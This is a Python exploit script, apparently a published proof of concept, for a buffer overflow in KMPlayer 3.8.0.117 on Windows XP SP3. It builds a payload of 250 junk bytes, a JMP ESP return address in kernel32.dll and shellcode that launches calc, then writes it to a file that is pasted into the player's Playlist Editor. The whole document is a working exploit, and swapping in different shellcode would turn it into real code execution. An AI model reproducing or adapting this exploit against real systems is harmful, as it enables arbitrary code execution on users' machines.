#!/usr/bin/python
# KMPlayer 3.8.0.117 Buffer Overflow
# Author: metacom
# Tested on: Windows Xp pro-sp3 En
# Download link :http://www.chip.de/downloads/KMPlayer_33859258.html
# Version: 3.8.0.117 Kmp Plus
# Howto / Notes:
# Run KMPlayer Playlist Editor > New Album and paste Exploit Code
import struct
def little_endian(address):
  return struct.pack("<L",address)
  

junk = "\x41" * 250
eip = little_endian(0x7C86467B)   #7C86467B   FFE4  JMP ESP  kernel32.dll        

shellcode=(
        "\x31\xC9"                #// xor ecx,ecx        
        "\x51"                    #// push ecx        
        "\x68\x63\x61\x6C\x63"    #// push 0x636c6163        
        "\x54"                    #// push dword ptr esp        
        "\xB8\xC7\x93\xC2\x77"    #// mov eax,0x77c293c7        
        "\xFF\xD0"                #// call eax  
		)

exploit = junk + eip + shellcode
try:
    rst= open("crash.txt",'w')
    rst.write(exploit)
    rst.close()
except:
    print "Error"